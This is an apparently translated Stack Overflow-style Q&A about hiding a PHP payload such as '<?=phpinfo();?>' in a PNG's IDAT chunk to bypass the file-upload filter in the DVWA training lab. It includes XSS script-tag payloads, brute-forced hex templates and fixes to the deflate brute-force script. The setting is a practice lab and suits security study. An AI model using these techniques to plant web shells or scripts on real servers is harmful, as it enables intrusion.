【问题标题】:PHP shell on PNG's IDAT ChunkPNG 的 IDAT 块上的 PHP shell
【发布时间】:2018-03-07 05:31:40
【问题描述】:

我正在研究关于文件上传高漏洞的 DVWA。我想绕过过滤器,它只允许上传 jpg 或 png 等图像。所以我打算将有效载荷<?=phpinfo(); 嵌入到图像文件中。经过搜索,我发现了这些很棒的博客:

  1. An XSS on Facebook via PNGs & Wonky Content Types
  2. Encoding Web Shells in PNG IDAT chunks
  3. Revisiting XSS payloads in PNG IDAT chunks

我懒得研究 Deflate 算法和搜索 png shell 生成器,发现了这个很棒的存储库:

  1. PNG Payload Generator with PERL

克隆并运行后,效果很好。但是有效载荷是针对 XSS Vuln output here:

<SCRIPT SRC=//ABC.DE></SCRIPT>

我想完成 DVWA 的目标。它说

由于此文件上传漏洞,在目标系统上执行您选择的任何 PHP 函数(例如 phpinfo() 或 system())。

所以,我想要的有效负载是:&lt;?=phpinfo();?&gt; 嵌入 PNG 的 IDAT 块中,该有效负载在 IDAT 上的过滤和压缩中幸存下来。从存储库中,我找到了 f1n1te / idontplaydarts 博客之前描述的 bruteforce() 逻辑。我复制源代码并尝试使用我的有效负载here 强制压缩压缩,但在符号字符上失败。基于源/生成器,我有 2 个问题:

  1. 为什么在the source 上,“
  2. 在我发现的 3 个博客和 1 个存储库中,它们使用此有效负载来暴力破解 Deflate:

    7ff399281922111510691928276e6e5c1e151e51241f576e69b16375535b6f - f1n1te f399281922111510691928276e6e562e2c1e581b1f576e69b16375535b6f0e7f - 亚当 03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310 - idontplaydarts 0000f399281922111510691928276e6e5313241e1f576e69b16375535b6f0000 - 存储库

这些家伙是如何将所有这些有效载荷暴力破解的 Deflate Compression

【问题讨论】:

  • 你是如何获得代码第 17 行 $brute 变量之间的前缀和后缀的

标签: php perl zlib deflate


【解决方案1】:

暴力破解失败,因为它太短了。你需要 5 个半字节,而不仅仅是 4 个。我用箭头标记了多余的数字。

0000f399281922111510691928276e6e....1f576e69b16375535b6f0000 your template
0000f399281922111510691928276e6e51121f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//PH></script>\3\3\0w\314\10)"
0000f399281922111510691928276e6e576f5f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//<?></script>\3\3\0w\314\10)"
                                    ↑

该程序还包含一个错误,该错误会阻止它完全耗尽搜索空间。 sprintf 的格式说明符必须补零,否则 hexdigit 字符串太短;换句话说,在原始程序中它必须是%04x,而不是%x

【讨论】:

  • 嗨@daxim,我已经修复了我的代码here,但似乎卡在了bruteforce4(我仍在努力)。是的,您在失败之前是对的,因为它太短并且格式说明符错误。直到现在,我还是蛮力修复蛮力修复并且需要几个小时。顺便说一句,你怎么知道我的模板需要 5 个半字节。你用箭头标记的小点的位置,太棒了,我没有意识到这一点。
  • 0000f39928192211151069192827576f511211221e1c2e12626b6f5f5f576e69b16375535b6f0000x\234c\140\370&lt;SCRIPT SRC=&lt;?PHPINFO();?&gt;&gt;&lt;/script&gt;\3\3\0\307\17\n\233
  • 你是如何获得代码第 17 行 $brute 变量之间的前缀和后缀的
猜你喜欢
  • 2017-09-19
  • 2017-05-22
  • 2014-11-26
  • 2011-11-09
  • 1970-01-01
  • 2014-05-05
  • 1970-01-01
  • 2019-04-27
  • 1970-01-01
相关资源
最近更新 更多